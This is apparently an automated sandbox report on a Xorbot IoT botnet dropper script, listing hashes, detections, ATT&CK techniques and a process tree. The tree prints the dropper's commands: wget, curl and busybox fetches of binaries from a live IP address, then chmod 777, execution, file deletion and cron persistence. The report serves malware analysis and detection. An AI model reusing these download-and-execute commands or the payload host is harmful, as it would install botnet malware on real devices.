xorbot | b6f1813eb89b53822bc7f914ab0ec6b3cf4434292e98c8cc3422b4c6f2b60f8d

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
30-11-2024 01:32

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General

Target

bins.sh
Size

10KB
MD5

54298eb7fa7e229d5f14bd984a061988
SHA1

4bef8f4344ac56b0a3e9ced6b7e219ec17d3e180
SHA256

b6f1813eb89b53822bc7f914ab0ec6b3cf4434292e98c8cc3422b4c6f2b60f8d
SHA512

c74e2aedf14c550d45d98dd011e4e083a341e0d505d50f48e260b04dcc0c4bd715989ed0e9d140f5c9a3659707368236b4d09c41e3743e781806db802c2e298d
SSDEEP

96:/JZhtD+DcDkDmDvDrDZoCOfLlIUzF7UeQx8v+DcDkDmDvDrDwKHiffLlIUzxzEv0:xZhtD+ooS7/Foh5AmmooS7/qyu

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-6.dat	family_xorbot
behavioral2/files/fstream-7.dat	family_xorbot
behavioral2/files/fstream-8.dat	family_xorbot
behavioral2/files/fstream-9.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmod

pid	Process
747	chmod
691	chmod
705	chmod
719	chmod
732	chmod

Executes dropped EXE 5 IoCs

Processes:

1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDnseYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuDMSEG58Ao7K0XbqfbTAMBNZsbXWqoNMahePfExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1

ioc	pid	Process
/tmp/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1	692	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
/tmp/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn	706	jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
/tmp/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD	720	seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
/tmp/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP	734	MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
/tmp/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1	749	fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1

Renames itself 1 IoCs

Processes:

1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1

pid	Process
693	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.jAITaw	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1curl

description	ioc	Process
File opened for reading	/proc/668/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/222/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/277/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/307/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/818/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/457/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/722/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/803/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/829/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/773/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/804/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/21/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/665/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/701/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/707/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/728/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/731/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/828/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/744/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/746/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/2/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/5/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/13/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/143/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/330/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/742/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/811/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/814/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/687/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/710/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/714/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/291/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/318/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/699/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/809/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/810/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/827/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/7/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/10/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/154/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/278/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/655/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/759/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/411/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/747/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/757/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/700/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/726/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/734/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/821/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/11/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/23/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/29/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/27/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/114/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/144/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/727/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/778/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/754/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/830/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
File opened for reading	/proc/15/cmdline	1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxbusyboxbusyboxbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn	busybox
File opened for modification	/tmp/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD	busybox
File opened for modification	/tmp/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP	busybox
File opened for modification	/tmp/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1	busybox
File opened for modification	/tmp/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1	wget
File opened for modification	/tmp/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1	curl
File opened for modification	/tmp/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:657
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:660
- /usr/bin/wget
  wget http://216.126.231.240/bins/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
  2⤵
  - Writes file to tmp directory
  PID:667
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
  2⤵
  - Writes file to tmp directory
  PID:690
- /bin/chmod
  chmod 777 1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /tmp/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
  ./1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:692
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:694
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:695
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:696
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:697
- /bin/rm
  rm 1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
  2⤵
  PID:700
- /usr/bin/wget
  wget http://216.126.231.240/bins/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
  2⤵
  PID:702
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
  2⤵
  PID:703
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
  2⤵
  - Writes file to tmp directory
  PID:704
- /bin/chmod
  chmod 777 jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
  2⤵
  - File and Directory Permissions Modification
  PID:705
- /tmp/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
  ./jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
  2⤵
  - Executes dropped EXE
  PID:706
- /bin/rm
  rm jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
  2⤵
  PID:707
- /usr/bin/wget
  wget http://216.126.231.240/bins/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
  2⤵
  PID:708
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
  2⤵
  PID:710
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
  2⤵
  - Writes file to tmp directory
  PID:712
- /bin/chmod
  chmod 777 seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
  2⤵
  - File and Directory Permissions Modification
  PID:719
- /tmp/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
  ./seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
  2⤵
  - Executes dropped EXE
  PID:720
- /bin/rm
  rm seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
  2⤵
  PID:722
- /usr/bin/wget
  wget http://216.126.231.240/bins/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
  2⤵
  PID:724
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
  2⤵
  PID:725
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
  2⤵
  - Writes file to tmp directory
  PID:727
- /bin/chmod
  chmod 777 MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
  ./MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
  2⤵
  PID:736
- /usr/bin/wget
  wget http://216.126.231.240/bins/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
  2⤵
  PID:738
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
  2⤵
  PID:739
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
  2⤵
  - Writes file to tmp directory
  PID:741
- /bin/chmod
  chmod 777 fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
  ./fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
  2⤵
  - Executes dropped EXE
  PID:749
- /bin/rm
  rm fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
  2⤵
  PID:750
- /usr/bin/wget
  wget http://216.126.231.240/bins/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
  2⤵
  PID:752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/var/spool/cron/crontabs/tmp.jAITaw

Filesize
210B

MD5
d0d1ed7951d5bb16ea344f7ec31ec730

SHA1
174fdc3ea02818d53c7388537f59aaade547b647

SHA256
d26fd673a43b51e96411cbee5fb376cc1478176e885988e5a017f217f86e1c0b

SHA512
aa68c7ca9d6c634f0d1d6900386225c2e6e181f3e87c628570f349d2cdc03a074d8b9e3e31009c9e63744b038898311427e521e36530edb1ec0ec0f625408f82

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